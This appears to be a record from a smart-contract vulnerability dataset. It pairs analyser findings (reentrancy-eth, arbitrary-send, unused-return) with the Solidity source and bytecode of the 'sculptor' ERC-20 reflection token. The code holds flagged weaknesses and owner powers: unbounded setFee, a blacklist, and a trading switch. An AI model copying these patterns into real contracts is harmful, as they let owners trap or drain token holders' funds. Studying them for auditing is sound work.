600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eeccaa610dba276ca994e77770d8307d0ce968c1b4eb4741f65620897bec32c164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,582
0x121b7f032bf3abe4334fa4282b024d9eac4e76b0
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract sculptor is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "sculptor"; string private constant _symbol = "sculptor"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xcc3D94d66A9408ec3b13e911A014bED797399336); address payable private _marketingAddress = payable(0xcc3D94d66A9408ec3b13e911A014bED797399336); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b50604080518082018252600881526739b1bab6383a37b960c11b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109c